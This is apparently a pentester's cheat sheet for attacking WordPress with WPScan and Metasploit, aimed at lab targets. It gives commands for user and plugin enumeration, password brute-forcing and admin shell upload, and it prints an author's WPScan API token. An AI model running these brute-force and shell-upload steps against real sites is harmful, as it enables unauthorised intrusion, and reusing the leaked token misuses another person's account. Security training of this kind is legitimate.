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# WPScan

```bash
wpscan -h #List WPscan Parameters
wpscan --update #Update WPscan

#Enumerate WordPress using WPscan


wpscan --url "http://<TARGET_IP>" -e t #All Themes Installed

wpscan --url "http://<TARGET_IP>" -e vt #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e p #All Plugins Installed

wpscan --url "http://<TARGET_IP>"  -e vp #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e u #WordPress Users

wpscan --url "http://<TARGET_IP>"  --passwords path-to-wordlist #Brute Force WordPress Passwords

#Upload Reverse Shell to WordPress
http://<IP>/wordpress/wp-content/themes/twentyfifteen/404.php

#Upload using Metasploit
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set USERNAME admin
msf exploit(wp_admin_shell_upload) > set PASSWORD admin
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit
```

<pre class="language-bash"><code class="lang-bash"><strong>#User Enumeration
</strong><strong>wpscan --url https://example/ --enumerate u
</strong>
#Bruteforce
wpscan --url https://example/ --passwords wordlist.txt --usernames samson
</code></pre>

### **Enumerate and hack a web app using wpscan and metasploit**

* wpscan — api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads — url <http://10.10.10.16:8080/CEH> — plugins-detection aggressive — enumerate u
* — enumerate u: Specify the enumeration of users
* API Token: Register at <https://wpscan.com/register>
* Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads
* service postgresql start
* msfconsole
* use auxiliary/scanner/http/wordpress\_login\_enum
* show options
* set PASS\_FILE password.txt
* set RHOST 10.10.10.16
* set RPORT 8080
* set TARGETURI <http://10.10.10.16:8080/CEH>
* set USERNAME admin
* run
* Find the credential

{% embed url="<https://www.kali.org/tools/wpscan/>" %}

### Additional Resources

{% embed url="<https://www.geeksforgeeks.org/wpscan-tool-in-kali-linux/>" %}

{% embed url="<https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html>" %}

{% embed url="<https://www.hackingtutorials.org/web-application-hacking/hack-a-wordpress-website-with-wpscan/>" %}

{% embed url="<https://linuxhint.com/wpscan_wordpress_vulnerabilities_scan/>" %}

{% embed url="<https://www.wpwhitesecurity.com/strong-wordpress-passwords-wpscan/>" %}


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